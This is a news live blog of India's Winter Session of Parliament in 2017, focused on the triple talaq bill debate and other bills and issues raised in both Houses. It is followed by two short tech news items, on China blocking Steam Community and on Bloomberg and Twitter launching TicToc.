In Lok Sabha, BJD leader Tathagata Satpathy criticised the government for delaying taking up the issue of triple talaq. "The government is so focussed on discussing whether bamboo is a grass or a tree to did not feel it necessary to bring forth an ordinance in this particular case. The game is somewhere else," he said.

Sampath further criticised the Standing Committee for not involving women's organisations before the bill was tabled. "None of the women's organisation were consulted. We think we know what women want. We dictate and they have to receive. We make rules and they have to accept," he said.

CPM leader A Sampath said in Lok Sabha:" My party has made its stand very clear. This bill is a transgression of the civil side and the criminal side. Marriage, succession, inheritance, adoption, dissolution of marriage is on the civil side. What type of criminal remedy can be attached to it? Supreme Court called the practice illegal. Here we have issues of equality also come into the fore."

YSRC leader Varaprasad Rao Velagapalli said: "By putting extra (efforts to criminalise Muslim men), we are dealing the case in diverse manner for Hindus and Muslims. The punishment of 3 years should be taken back. I wish that government should have taken advice of state government.. I think this is the high time. The government is shedding extra tears for Muslim women"

NCP leader Supriya Sule claimed that the bill on triple talaq did not help married Muslim couples reconcile. She said: "Marriages can be reworked. when you put a father in court. He could be a bad husband, but he could also be a wonderful father. Are we here to break marriages or to reconcile? This nation needs legislation from the heart. The personal touch with so much digitisation has just gone."

Are we here to break marriages, asks NCP

SP leader Dharmendra Yadav said that the Centre should involve the state government while making the triple talaq bill into a law. He further criticised the three-year jail term suggested for offenders in the bill.

ET Muhammed Basheer said that of the population of Muslims in the country, triple talaq cases were negligible. "You are unnecessarily taking gun to kill the mosquito. You have jeopardised the sanctity of the House," he said.

RSP leader NK Premchandran said: "The main apprehension is the over enthusiasm of the NDA government led by the BJP. There is a cloud of suspicion. Triple talaq is already declared by Supreme Court as null and void. It has become the law of the land. Then the question is what is the need of further legislation?"

Owaisi alleged that the Centre was giving an advantage to the offenders and was not helping the situation. "Your dream of having more Muslims in jail will be achieved. Please send the bill to the Standing Committee. You are forcing a Muslim woman to file an FIR against her husband. You are giving a handle to the Muslim man, who will have 90 days. If you are true to your intentions, create a corpus of 1000 cr," he said.

"The Union law minister has failed to discriminate between civil law and criminal law. Not a single Muslim country has a penal provision. Triple talaq is a verbal and emotional abuse," Asaduddin Owaisi said.

Asaduddin Owaisi slams Ravi Shankar Prasad over failure to 'discriminate between civil law and criminal law'

Lashing out at the concerns over the criminal aspect of the offense, Prasad said," We have left the decision of jail term on the magistrate."

Law minister Ravi Shankar Prasad said: "We did not mislead the House. Supreme Court said that triple talaq is wrong. The law has not been made in haste. We are viewing this with the prism of humanity, not politics."

Speaking to India Today, Law Minister Ravi Shankar Prasad said that he understood the concerns of victims of triple talaq. "I have to maintain a balance between the law and your(victims') concerns. I hope that Congress support the bill in Rajya Sabha the same way it has in Lok Sabha," he said.

"Law Minister Ravi Shankar Prasad while tabling the bill also quoted the board and a lady MP of the ruling party tried to answer the queries raised by the Board in a letter to the prime minister proving that the government recognises the board. So the board should have been taken into confidence," Nomani said

The Shia Waqf Board, meanwhile, called for making the punishment to those indulging in 'triple talaq' more stringent. "We will take whatever steps required through democratic means to amend, improve or scrap it. There is no move to go to court as of now...The bill was brought in a haste," AIMPLB spokesperson Maulana Khalil-ur-Rehman Sajjad Nomani said. He said the board should have been taken into confidence on the issue.

The All India Muslim Personal Law Board (AIMPLB) expressed serious reservations over the Muslim Women (Protection of Rights on Marriage) Bill which was passed by the Lok Sabha and said it will take steps through democratic means to "amend, improve or scrap" it.

Will take steps through democratic means to 'amend, improve or scrap' triple talaq bill: AIMPLB

He claimed that the Muslim women celebrating the bill "did not know the law" and hoped that the Select Committee reject it in Rajya Sabha since the bill needs to be debated.

"Section 3 says triple talaq does not end marriage. The burden of proof will now be on the innocent women. What kind of justice is this that a non-Muslim gets 1 year but Muslim will get 3 years," Asaduddin Owaisi told India Today.

BJP issues a whip to all its parliamentarians asking them to remain present in the Parliament between 2-4 January

NCP wants the Triple Talaq bill to be sent to select committee, DMK wants criminalisation clause removed

According to the sources, Leader of Opposition in the Upper House Ghulam Nabi Azad has convened a meeting of the leaders of his party (Congress) as well as other parties in his Parliament chamber tomorrow, before the bill is taken up.

The Congress would consult Opposition parties before finalising its stand on the contentious bill which proposed to ban instant triple talaq and make the practice a cognisable offence, party sources said on Monday.

NCP leader Majeed Memon says the party has already made it clear that it is entirely against criminalisation of triple talaq

Vice-President Venkaiah Naidu will chair a meeting in half-an-hour to discuss the triple talaq bill, reports News18 . MPs from both Congress and BJP will attend the meeting.

Union Minister Mukhtar Abbas Naqvi says that the triple talaq bill will be passed in Rajya Sabha with constructive debate and discussion

The Insolvency and Bankruptcy Code (Amendment) Bill 2017 being discussed in Rajya Sabha

The bill is an attempt to regulate the liquidation and insolvency of companies that file for bankruptcy. According to PRS legislature the bill prohibits certain persons from submitting a resolution plan in case of defaults. These include: (i) wilful defaulters, (ii) promoters or management of the company if it has an outstanding non-performing debt for over a year, and (iii) disqualified directors, among others. Further, it bars the sale of property of a defaulter to such persons during liquidation.

What is the insolvency and Bankruptcy Code (Amendment) Bill 2017?

The National Medical Commission (NMC) Bill, as it stands today, proposes to allow practitioners of alternative medicines, such as homeopathy and ayurveda, practice allopathy after completing a bridge course. However, the Centre has agreed to refer it to Parliamentary Standing Committee for closer scrutiny after the uproar over the bill.

The Indian Medical Association had called for suspending routine services today to protest against a bill that seeks to replace the Medical Council of India (MCI) with a new body.

Meanwhile, IMA calls off pan India strike after Centre sends NMC bill to Standing Committee

"The Prime Minister has also been quiet on the issue. On the other hand, National Security Advisor (Ajit Doval) is meeting his Pakistani counterpart..." he said.

"Pakistan-sponsored terrorists attacked a CRPF camp, in which five of our jawans were martyred. The concern is that while on one hand, Army jawans sacrifice their lives, on the other hand, government does not appear serious about it. In the last three years, there have been so many incidents..." Scindia said.

Congress leader Jyotiraditya Scindia raised the issue during the Zero Hour and also mentioned Bharatiya Janata Party member Nepal Singh's comments, who reportedly said "those in the Army are bound to die".

The House also witnessed slogans against Pakistan being raised, as soon as Speaker Sumitra Mahajan entered the House, with some shouting 'Pakistan Murdabad'.

The attack on a training centre of the Central Reserve Police Force in Jammu and Kashmir was raised in the Lok Sabha on Tuesday, with opposition leaders accusing the government of inaction.

He said there were 785 different types of cryptocurrencies operating worldwide.

"The government is examining the matter. A Committee under the chairmanship of the Economic Affairs Department Secretary is deliberating over all issues related to cryptocurrencies to propose specific actions to be taken... Instead of taking any knee-jerk action, let's wait for the report of this committee."

"One of the features of cryptocurrency is that there is lack of dependence on the state. It functions with a degree of anonymity. It operates within a virtual community which is created and enjoys the trust of that virtual community," Finance Minister Arun Jaitley told the Rajya Sabha.

There is no mechanism to prevent the misuse of cryptocurrencies such as Bitcoin by terror groups and other anti-national elements, the government said on Tuesday, adding it was awaiting the report of an expert group on the subject.

The question had been asked by Telangana Rashtra Samithi MP Boora Narsaiah Goud.

The government has no plans to create a second capital in South India, the Lok Sabha was informed today. Minister of State for Home Hansraj Gangaram Ahir, while replying to a written question on whether the government has any proposal to create a second capital in South India (Hyderabad), said, "No".

No plans to create second capital in South: Govt tells LS

The Congress had moved amendments to certain provisions of the bill in the Lok Sabha but did not press for a vote.

The Lok Sabha has already cleared the 'Muslim Women (Protection of Rights on Marriage) Bill and it is likely to be tabled in the Rajya Sabha tomorrow. Parliamentary Affairs Minister Ananth Kumar said that the government would like the Congress to maintain the stand it took in the Lok Sabha by not pressing for amendments.

The government today urged the Congress not to press for amendments to the triple talaq bill, which seeks to criminalise the practice of instant divorce among Muslims, when it comes up for consideration in the Rajya Sabha likely tomorrow.

Triple talaq bill to be tabled tomorrow, govt urges Congress not to press amendments

The bonds, which would be valid for 15 days, will not carry the donor's name even though the purchaser would have to fulfil KYC norms at the bank, Finance Minister Arun Jaitley said in the Lok Sabha while announcing the contours of the scheme.

The electoral bonds, which are being pitched as an alternative to cash donations made to political parties, will be available at specified branches of State Bank of India (SBI) for 10 days each in months of January, April, July and October.

In a bid to clean election financing, the government on Tuesday outlined contours of the new electoral bonds that donors can buy from SBI and said receiving political parties can encash only through a designated bank account.

During the Zero Hour in the Lok Sabha, Congress leader Jyotiraditya Scindia said the comments by the BJP MP reflected that the government was not serious about the lives of the armed forces personnel.

The Congress today demanded an unconditional apology from BJP MP Nepal Singh for his reported comments that army jawans should expect death because of the profession they are in.

The BJP held its parliamentary board meeting on Wednesday, whereby they discussed the triple talaq bill and the Constitution's 123rd amendment bill which will give constitutional status to the OBC commission.

The Rajya Sabha was adjourned till noon after a massive ruckus was caused over Dalit protests in Maharashtra.

"Whether it is in Gujarat, Una, Rajasthan, there is nothing but injustice wherever BJP is in power," Kharge said. "A Supreme Court judge should be appointed and he should inquire this. The prime minister should come to the House and make a statement. When such incidents are happening, he does nothing," he added.

"RSS is behind the Bhima-Koregaon violence," said Mallikarjun Kharge in Lok Sabha. Uproar erupted in the House as soon as Kharge made this statement.

Forcefully raising the issue in Lok Sabha during the Zero Hour, Congress leader Mallikarjun Kharge also trained his guns on Prime Minister Narendra Modi, wondering why he was maintaining a studied silence on the issue. Read more here.

As several parts of Maharashtra continued to reel under caste violence, Congress on Wednesday accused the RSS and certain Hindutva outfits of triggering it and demanded a probe by a Supreme Court judge into the clashes.

Kumar Vishwas speaks to the media a the announcement of AAP's Rajya Sabha nominees

Cabinet nod to establishment of AIIMS in Bilaspur, Himachal Pradesh under Pradhan Mantri Swasthya Suraksha Yojana

'Bhima-Koregaon violence issue raised deliberately so that Triple Talaq Bill can be stalled'

Triple talaq practice is still continuing in some areas, says RS Prasad

TMC and Cong want the bill to be sent to the Select Committee for consideration. "We are not opposed to the bill, but we want the bill to be strengthened. We want it to be sent to the Select Committee," TMC leader said.

TMC, Congress want the bill to be sent to the Select Committee for consideration

The house is taken by surprise that a motion is suddenly moved, it has not been submitted a day before. The motion has to be given at least 24 hours in advance, says Arun Jaitley on Anand Sharma's notice.

House is taken by surprise, says Jaitley on Anand Sharma's notice

Jaitley referred to judgement of SC, I want to correct the record, says Kapil Sibal

Rajya Sabha adjourned for the fourth time till 11 am on Thursday as ruckus over triple talaq bill continued

We are all for this bill, it is a faulty bill. No womens ' groups, stakeholders were consulted, says TMC MP Derek O' Brien

He added: "If the other House has not scrutinised the bill, it is the constitutional duty of the Rajya Sabha to do that. The government doesn't want a debate on it, so it is wrong on the part of the Law Minister to say that we (Opposition) don't want to debate it."

"The government is playing politics in the name of triple talaq bill by selectively misquoting and misrepresenting even the Supreme Court Constitutional Bench judgement, which was done by Leader of Rajya Sabha (Arun Jaitley) today," Sharma said.

Senior Congress leader Anand Sharma said Union Law Minister Ravi Shankar Prasad and Union Finance Minister have lied on the issue.

He added: "It is legally mandatory that all bills must go through a standing committee of Lok Sabha and if it doesnt happen then such bill should be referred to select committee of the Rajya Sabha."

Leader of Opposition in the Rajya Sabha Ghulam Nabi Azad told reporters that the BJP does not believe in democracy. "The bills are generally referred to the select committee based on the Sense of the House i.e majority. But, the government didnt accept which once again proved that the BJP doesnt believe in democracy, parliament, and parliamentary democracy," Azad said.

The government alleged that the Congress and other Opposition parties were trying to derail the bill by demanding it should be referred to a select committee, that too without giving a notice a day in advance.

The Congress said that the government was lying about the Oppositions intentions on Triple Talaq Bill in Rajya Sabha.

BJP president Amit Shah is expected to make his maiden speech in the Rajya Sabha today if a bill for the amendments to the Goods and Services Tax law, which has been fiercely attacked by the Congress during last month's Gujarat elections, is taken up by House for debate and voting.

Amit Shah's maiden speech on GST could have a few pointers for Congress?

As BJP's chief strategist, Amit Shah, rises to speak from his front-row seat in Rajya Sabha on amending the law to allow for imposing compensation cess on intra-State and inter-State supply of goods and services on Thursday, a BJP leader told NDTV said the Congress should expect a stinging rebuttal to its election campaign.

Congress should expect stinging rebuttal to its Gujarat poll campaign

Goods and Services Tax (Compensation to States) Amendment Bill, 2017 Muslim Women (Protection of Rights on Marriage) Bill, 2017 Prevention of Corruption (Amendment) Bill, 2013 Central Road Fund (Amendment) Bill, 2017 State Banks (Repeal and Amendment) Bill, 2017 Motor Vehicles (Amendment) Bill, 2016

Insolvency and Bankruptcy Code, 2016 High Court and The Supreme Court Judges (Salaries and Conditions of Service) Amendment Bill, 2017 Constitution (One Hundred and Twenty-third Amendment) Bill, 2017 Payment of Gratuity (Amendment) Bill, 2017 Dentists (Amendment) Bill, 2017 National Council for Teacher Education (Amendment) Bill, 2017

"We should not see the Bhima-Koregaon as a political issue. Rather than politicising the issue, we should try to control the situation and bring life back to normalcy. The state government will take strict action against the culprits," he said.

"Everyone must strive to end caste wars and conflicts. Those involved in the incident must be brought to hook," says Ramadas Athawale.

"Jignesh Mevani, Umar Khalid made inflammatory speeches leading to violence in Maharashtra. The Congress tries to connect every Dalit atrocity with Sangh. This too should be condemned like attacks against Dalits," says BJP MP Amar Shankar Sable in the Rajya Sabha amid protests from other members.

DMK MP Tiruchi Siva says following ban on firecrackers in Delhi, factories in Sivakasi, Tamil Nadu, have shut down causing deep economic hurt to businesses. "Fireworks is not the only reason for pollution. The work goes on throughout the year but the sales come up during Diwali," says Siva.

West Bengal MP Ritabrata Banerjee said the Centre should consider renaming West Bengal as Bangla. A resolution in the matter was already passed in the West Bengal Legislative Assembly, he said in Rajya Sabha.

Flagging the issue of H-1B visas in the US under Donald Trump's administration, Congress MP from Karnataka Rajeev MV Gowda said, "More than 50% of H-1B visas issued goes to Indians. It is bad for US to engage in such a disruptive move. I urge the government to engage with their US counterparts as livelihoods of thousands of Indians is at risk."

Urge Centre to engage with Donald Trump's administration over H-1B visa issue, says Congress MP Rajeev Gowda

Human Resources Development Minister Prakash Javadekar responds to questions on the education sector. When asked about the dropout rate, Javadekar said one of the reasons was the lack of toilets. We constructed more toilets. Another reason was due to lack of quality training, he said.

TMC MP Saugata Roy said the first draft of the NRC in Assam is a conspiracy to drive out Bengalis from Assam.

As protests erupted in Lok Sabha over the Assam National Registry of Citizens, Home Minister Rajnath Singh said, "Assam NRC is being conducted under the Supreme Court's supervision. If somenone's names have been left out, they can register again. It cannot be deleted. It is not a conspiracy to drive out certain sections of the population. Such allegations are baseless."

Claims of Assam NRC driving out a certain section of population are baseless allegations: Rajnath Singh in Lok Sabha

In Rajya Sabha, questions were raised on persons with disabilities and if there is a need for their Aadhaar identification since their fingerprints are almost always mismatched, according to The Indian Express .

Speaking in the Lok Sabha, BSP MP from Uttar Pradesh, Satish Chandra Misra says disabled persons need a place to stay apart from opportunities to come up in life.

Disabled persons needs place to stay apart from opportunities, says BSP MP Satish Chandra Misra

Most of the opposition parties, including the Congress, had supported the passage of the Bill in the lower house with some reservations. BJPs absolute majority in the Lok Sabha helped the ruling dispensation in the easy passage of legislation. The statute when brought to the Rajya Sabha faced some stiff resistance on Wednesday when a collective opposition insisted on sending the Bill to the Select Committee of the House.

According to sources, Centre will try to hold a debate at 6 pm on the triple talaq bill before sending it to the Select Committee. The Bill, which criminalises instant divorce among Muslims with a three year penal provision, was passed by the Lok Sabha last week.

RSP MP from Kollam, NK Premachandran raised the issue of Chinese aggression on Indian borders after reports emerged of China's incursion for one kilometre into Indian border in Arunachal Pradesh. He called it an issue of national security and demanded the Centre's response to it. He also added it was important was as Chinese officials have openly stated China has never recognised Arunachal Pradesh as Indian territory.

Chinese incursion for one kilometre into Arunachal Pradesh is matter of national security: RSP MP NK Premachandran

He asked the government to specify the national investment, debts, and other economic indicators. He claimed that both national investment rate, and national saving rate, which are indicators of financial wealth of citizens, have fallen. He also said that the ratio between GDP growth and debt was increasing.

Sharma said that Indian economy, contrary to the prime minister and finance minsters' claim, is not a galloping economy but a gasping economy. "None of the growth engine of the economy are running," Sharma said.

He said that the Commission will have members from the Opposition as well and it is more open and inclusive than the collegium system.

Shetty, while speaking on the discussion over The Supreme Court Judges (Salaries and Conditions of Service) Amendment Bill, 2017 touched upon the National Judiciary Appointment Commission.

Shetty said that the entire process of fighting a litigation has become so costly that justice will soon evade common man. He said that the advocates usually charge a fee every time even if the court just reschedules the date of hearing. He said that there should be a mechanism to regulate the fees charged by advocates.

Gopal Chinayya Shetty says there is a need to regulate advocates fees too

"I heard that an honourable member said that this government celebrates even slightest of improvements in numbers and metrics of economy like a little rainfall is cherished after a drought. It is right because the policy paralysis under the 10 years of UPA rule were akin to not just a drought but a misery. That's what they gave the nation in their 1o year's rule," Yadav.

Surmounting NPAs are UPAs gift to the nation, says BJP's Bhupender Yadav

"Justices Nariman and Lalit ruled that since triple talaq could not be construed as an essential religious practice, the submission on behalf of the Muslim Personal Board that the ball must be bounced back to the legislature does not at all arise. the article read.

The Supreme Court, in its judgment, held instant triple talaq unconstitutional and invalidated the practice. However, the final ruling by the majority judges catagorically mentioned that there was no need to pass the ball to the legilstaure's court, as this article in News18 points out.

Meanwhile... Supreme Court invalidated triple talaq but never asked govt to frame law

Notwithstanding the Congress' remarks on metrics demonstrating the health of economy, Yadav said that the figures are merely a web to confound the common man, and mean little on the ground. He said that if the people in villages are getting enough to eat, earning enough to protect themselves in harsh winters, then the economy is good otherwise it is not.

Speaking during the discussion on state of Indian economy, Ram Gopal Yadav said that the elections are never fought on facts and figures or policy matters. They are won on slogans. However, the government must work for improving the state of economy.

Elections can be won on mere slogans, but please work in the interest of nation, Ram Gopal Yadav urges govt

Speaking on a bill to raise salaries of judges, BJP MP Tathagata Satpathy said that the judiciary needs several basic reforms. His suggestions included that advocates be allowed to advertise for their services, judges should have a system for automatic appraisal of salaries rather than the House debating each time they gate a pay hike. He also said that there was no reason that the judiciary was so reluctant to open itself to scrutiny. He said the provision for an TRI should be brought in.

Rafale Deal: France will not share manufacturing technology with India, MoS Defence in Parliament

Speaking in the Lok Sabaha, TRS MP Konda Vishveshwar Reddy said that the hike in the judge's salary has been long ovrdue. To reassert his point, the MP said that while advocate charge lakhs of rupees for every sitting, the judge earns only Rs. 90,000. "Even a mid-level executive earns more than a High Court judge. The Pakistan judges are paid more than 10 times of what we are paying here," he said.

Even Pakistan pays more salary to their judges than we do, says TRS MP Konda Vishveshwar Reddy

Now with just one more day remaining in the ongoing Winter Session, the fate of the controversial bill remains shrouded in suspense as the government virtually rejected an overwhelming demand on Thursday from the Opposition for referring it to a Select Committee of the Rajya Sabha for detailed consideration. The Opposition, on the other hand also refused to relent as Leader of Opposition and Congress MP Ghulam Nabi Azad said that the Bill was not fit to be passed as it as it would "finish off Muslim women" instead of "empowering them."

Various reports suggest that owing to the lack of numbers and consensus in the Rajya Sabha the ruling party will be forced to send the bill to a Select Committee of the House. And it would only be taken up again in the Budget Session in 2018.

Triple talaq could most likely be taken up again in 2018 Budget Session

According to News18 , MPs from Opposition parties have been told that both houses will be adjourned sine die (with no appointed date for resumption) post lunch.

BJP issues whip directing members to be present in both Houses today

Arun Jaitley says the agriculture sector needs support. "Both the central and state governemtns have been making efforts," says Finance Minister Arun Jaitley in Lok Sabha.

List of business in the Lok Sabha for today:

"The Committee observes that the problems affecting the airlines are not personal; it is institutional. An institution like Indigo has to develop a consumer friendly approach in dealing with their passengers. The Committee believes that being a leader in market share, Indigo needs to look inward and find out the reasons for the discourteous attitude and rude and indifferent behavior of their employees, whether it is their cabin crew or the ground staff. The Committee emphasizes that the arrogant behavior of employees should stop."

Extract from the Parliamentary panel chaired by TMC MP Derek O'Brien on rude staff behaviour, especially IndiGo

Ram Vilas Paswan rose to withdraw the The Consumer Protection Bill, 2015. The Consumer Protection Bill and the New Delhi International Arbitration Centre Bill have been introduced.

As per PRS Legislative , LS sat for 13 days, 61 hours with 78 percent productivity. Sixteen bills were introduced during this time in the Lok Sabha. Twelve bills were passed by the Lower House. Apart from this, 46 starred questions were answered orally during Question Hour.

As per PRS Legislative , LS sat for 13 days, 61 hours with 78 percent productivity. Sixteen bills were introduced during this time in the Lok Sabha. Twelve bills were passed by the Lower House. Apart from this, 46 starred questions were answered orally during Question Hour.

Congress MP Viplove Thakur asks if Narendra Modi's promise of paying 50 percent more than the MSP to the farmer is being fulfilled. Jairam Ramesh also asks how is the cost of production fixed for MSP, "What is the new system for fixing the cost of production?"

Break up of business addressed during Winter Session of Parliament

Jhama Das Badiya, CPM MP from Tripura says her luggage was stolen from Rajdhani Express. There are thousands like her who go through this with no security reinforcement.

Rajya Sabha erupts in laughter after BJP MP Sarojini Hembram says her luggage was also stolen on trains

Railway Minister Piyush Goyal replies that action against such oganised gangs will be taken and if any member has information about it, they should come forward and inform the ministry. The ministry is also trying to bring in a network of CCTV surveillance on trains and stations, Goyal informed the Rajya House.

Ram Gopal Yadav, SP MP from Uttar Pradesh flags issue of passengers being drugged on trains

Both Houses of Parliament will reconvene on Tuesday, a day after the BJP won the Himachal Pradesh Assembly elections, while barely managing to cross the halfway mark in Gujarat.

Monday saw yet another day of disruption in the Lok Sabha as well as the Rajya Sabha over Prime Minister Narendra Modi's insinuation that his predecessor Manmohan Singh met a Pakistani delegation to influence the election in Gujarat.

The Opposition led by Congress raised slogans demanding an apology from Modi while Speaker Sumitra Mahajan tried to run the House.

After repeated adjournments, both houses of Parliament were adjourned till 11 am on Tuesday.

In Tuesday's legislative business, the unfinished agendas from Monday will also be considered.

Some of the bills to be tabled in the Lok Sabha are the Central Road Fund (Amendment) Bill, 2017 and the Requisitioning and Acquisition of Immovable Property (Amendment) Bill, 2017.

In a significant development, the government on Monday had introduced a bill in the Lok Sabha that will allow it to notify the period of maternity leave and gratuity that can be availed by employees under a central law.

The Payment of Gratuity (Amendment) Bill, 2017 was introduced by Labour Minister Santosh Kumar Gangwar in the House, amid continued sloganeering by opposition members and counter-slogans by those of the BJP.

In the Rajya Sabha, Arun Jaitley is expected to table The Companies (Amendment) Bill, 2017 for consideration.

The government is expected to table 25 pending bills and 14 new ones, including a bill providing Muslim women the right to seek maintenance in case of triple talaq, during the session which began on Friday. The Parliament is expected to be in session till 5 January 2018.

With inputs from PTI
After a stormy start of the Winter Session, the situation seems to be thawing out a bit as the Upper House managed to pass two bills, both of which were also supported by the Congress. The party, however, remained absent from the Lok Sabha proceedings, which also transacted business in the rest of the day, after staging a walkout within two hours of the start of proceedings.

The Congress was demanding an apology from Prime Minister Narendra Modi for his comments against his predecessor Manmohan Singh made during the campaigning of the just concluded election for the Gujarat Assembly.

Protests in LS, RS in early hours of day

The Congress protest rocked the Lok Sabha and Rajya Sabha during the early hours of the day, however, the uproar did not disrupt the functioning of the Houses for long.

The Lok Sabha was adjourned for 30 minutes at 11.30 am after the leader of the Congress party in the House Mallikarjun Kharge raised the issue but Speaker Sumitra Mahajan refused to entertain his demand during the Question Hour.

Soon after the House resumed proceedings, Congress members trooped into the Well raising slogans against the prime minister such as "pradhan mantri maafi mango" (prime minister apologise) and "pradhan mantri sadan mein aao" (prime minister come to the House).

In the Rajya Sabha too, Leader of Opposition Ghulam Nabi Azad raised questions over Modi's statement on Singh and demanded an apology. "Making derogatory comments about an ex-prime minister and other important dignitaries is unacceptable. Manmohan's integrity and loyalty to his country have been questioned," Azad said.

However, the situation appeared to defrost after Chairman of the Upper House and Vice-President M Venkaiah Naidu suggested the two parties find an amicable solution to their differences and not disrupt the House. Following this, Arun Jaitley, the Leader of the House, assured the Congress-led Opposition that they shall be invited to discuss this issue.

Later in the day, there was a minor controversy in the Lok Sabha when TMC MP Kalyan Banerjee claimed there is an "undeclared emergency" in the country.

While talking during the motion to adopt the Repealing and Amendment Bill, 2017, Banerjee said, "While there is no doubt that the Emergency in 1975-77 affected many people, there is a kind of Emergency without even constitutionally declaring it nowadays. It is important to make a distinction between the official emergency in 1975 and the post-2014 situation."

But apart from the political blame game, both Houses managed to hold constructive discussions on several issues apart from transacting legislative business.

RS passes IIM, Companies Act amendment bill, LS repeals archaic laws

In what was a fairly productive day, the Lok Sabha debated three bills and managed to pass two of them, while the Rajya Sabha also passed two bills.

In the Lower House, two bills to repeal 245 obsolete and archaic laws, including the 158-year-old Calcutta Pilots Act of 1859 and the 1911 Prevention of Seditious Meeting Act were passed. The Lok Sabha also passed Central Road Fund (Amendment) Bill to sanction funds for the development of waterways.

Law Minister Ravi Shankar Prasad said the old and many irrelevant pre-Independence laws were the "unfortunate part of the colonial legacy" and repealing them was a progressive move that reflects the "pro-reform" approach of the government.

After the Modi government came to power a two-member panel was set up to look into the repealing of archaic laws and the panel also consulted the Centre and the state government before recommending the legislations to be repealed. Some 1,824 acts were repealed since Modi took over the reins of the government, the law minister said.

The law minister lauded the move, even as he evaded concrete response on the abolition of the laws criminalising sedition and homosexuality, two other British era rules which have been a subject of larger debates.

When Prasad spoke on abolishing the Prevention of Seditious Meeting Act, 1911, he was needled by BJD MP Tathagata Satpathy who alluded to the use of the sedition law by the BJP government against Opposition activists in certain states. BJD MP Pinaki Misra lauded the government for repealing "obsolete" laws but asked if the government would consider doing away with the controversial Section 377.

To the question of sedition, the law minister said that all senior ministers in the BJP government including the prime minister had vehemently opposed Emergency in 1975 and his government was in favour of the freedom of the press. On the issue of decriminalising homosexuality, the minister merely commented that a larger debate was needed.

The Lok Sabha also passed Central Road Fund (Amendment) Bill which, as TMC's Roy pointed out, in essence, reroutes money from highway and road development funds to the development of inland waterways.

The Rajya Sabha meanwhile passed the IIM bill and the Companies (Amendment) Bill, 2017, both of which were also supported by most Opposition parties, including the Congress.

The latter is a bill to amend the Companies Law to strengthen corporate governance standards, initiate strict action against defaulting companies and help improve ease of doing business, while the former seeks to grant greater autonomy and special status to IIMs.

The Companies (Amendment) Bill provides for more than 40 amendments to the Companies Act, 2013, which "would help in simplifying procedures, make compliance easy and take stringent action against defaulting companies." The Congress, although voted in support of it, pointed out some 'inadequacies' and raised several questions.

While the minister was pushing the bill for passage, former finance minister P Chidambaram pointed out,"Why are you taking power to prescribe another number when Directors' Index Number (DIN) is a number? Why do you need another number? What is the idea?"

He also opposed the proposal to give loans to directors and persons, saying a company should not give loans to the director or to those of interest to a director. He also opposed the amendment to delete Section 195 and 196 which provide for the prohibition of insider and forward trading.

MPs also objected to the "one size fits all" principle being adopted by the government in the bill. CPM's Tapan Sen said that giving same relaxations to Small and Medium Enterprises and large companies amounts to holding the country at ransom. Vivek Gupta of TMC also echoed Chidambaram's sentiment and said the SMEs are suffering as he called the bill inconclusive.

"I am forced to repeat that this Bill is inconclusive and needs further changes... The provision for giving deposit insurance is taken away. FRDI already has a bail-in provision. Now insurance for company deposits is also being taken away," he said.

Moreover, apart from the legislative business, the government also notified the Parliament on several other issues. In Lok Sabha, the government informed the Parliament that it has undertaken a national survey on drug addiction, which is likely to be published in March. Social Justice and Empowerment Minister Thaawarchand Gehlot said Rs 21 crore worth of funds have been allocated for the survey.

The Parliament was also told that as many as 318 people, including 203 terrorists and 75 security personnel, were killed in terror-related incidents in Jammu and Kashmir this year so far. In the North East, 97 people, including 51 insurgents and 12 security personnel, were killed in insurgency-related incidents till date, Minister of State for Home Hansraj Ahir said in Lok Sabha during the Question Hour.

Members in the Lok Sabha also expressed concern over the contamination of the Brahmaputra river as they asked the government to take up the matter with China from where the river flows into India and inform Parliament about it. Parliamentary Affairs Minister Ananth Kumar said the matter was of serious concern and assured the House that he will inform "the highest level in the government" about it.

The government also informed the Parliament that there was no proposal to make Aadhaar linkage mandatory for property transactions. The government, however, said the rural development ministry had advised the states and Union Territories to explore the possibilities of using consent-based Aadhaar authentication for registration of properties under the provisions of the Registration Act, 1908.

In the Rajya Sabha, Jaitley said that the government is ready to include petroleum products under the GST after achieving consensus. The government also sought to defend its move of setting up fast-track courts to try legislators. Opposition parties led by Congress and Samajwadi Party had raised the issue of Supreme Court's recent direction to the Centre to draft a scheme for setting up fast-track courts to deal exclusively with criminal cases involving legislators and political persons.

However, the finance minister tautly defended the move, saying lawmakers should take the lead in setting an example. Jaitley added he was of the personal opinion that like Caesar's wife, lawmakers should be above suspicion.

As elected representatives, can lawmakers say that their trial should be delayed, he said, asking political parties to rise and set an example. "You are class apart... you are lawmakers. You should set the example," Jaitley said.

With inputs from PTI
tech2 News Staff

In a bid to further strengthen censorship in China, its internet regulators have blocked the Steam Community. The bad news came to the fore after users took to Reddit to report that Steam Community features have not been accessible to them since 15 December.

Steam which is one of the most popular digital distribution platforms across the world provides a range of services to gamers through its community including friends lists, groups, cloud saving and in-game voice and chat functionality. As mentioned in a report by GameRevolution, users have confirmed that the Steam Client and Steam Store were left unblocked but stated at least one case where download speeds have been heavily throttled while trying to access the services.

As per the report, Steam has been able to steer clear of government intervention so far in terms of content distribution in the country. Valve, the company which runs Steam has been cooperative with Chinese authorities in the past where Gears of War 4 was removed from the Windows 10 store for being termed as "counter-revolutionary."

GreatFire, an organisation which tracks websites censored or banned by the Chinese government also took to Twitter after its tracker confirmed that the Steam Community has remained inaccessible for the third consecutive day. The website stated in the tweet that the possible cause for its blockage was that "somebody posted something the authorities found disagreeable."

Chinese authorities have blocked access to @steam_games community website. Games can still be played. Likely somebody posted something the authorities found disagreeable. https://t.co/SP4BlVhChJ https://t.co/GBOxYA0Xm6  GreatFire.org (@GreatFireChina) December 18, 2017

A theory initiated by one of the Steam users state that a major reason for the crackdown on Steam could be to push Tencent's WeGame platform which launched in September. However, the theory is speculative since an official confirmation of the blockage is yet to arrive from either Valve or Chinese government sources.

As of now, Steam users in China can still log into the application and access key components such as the store and their own library.
PTI

Targeting mobile-first news consumers, Bloomberg Media and Twitter on 18 December launched a global news network TicToc with the coverage focusing on general interest news worldwide.

Bloomberg Media is the consumer-facing media organisation of Bloomberg, the multi-platform media company for business and finance.

The first iteration of TicToc by Bloomberg will feature a mix of live video and reporting from Bloomberg journalists around the world, as well as breaking news content from consumers, curated and verified by Bloomberg editors with a real-time distillation of the related conversation on Twitter, it said in a statement.

To support TicToc by Bloomberg, the media firm is building a dedicated team of editors, producers, social media analysts, product developers, engineers, designers, and marketers that will leverage its global resources.

"We are seeing a shift in the media landscape today: more content companies are partnering with platforms to create hybrid businesses that better serve consumers and society. With TicToc by Bloomberg, we are fusing the best of Bloomberg and Twitter to build a fast and credible modern news experience," Bloomberg media chief executive officer Justin B Smith said.

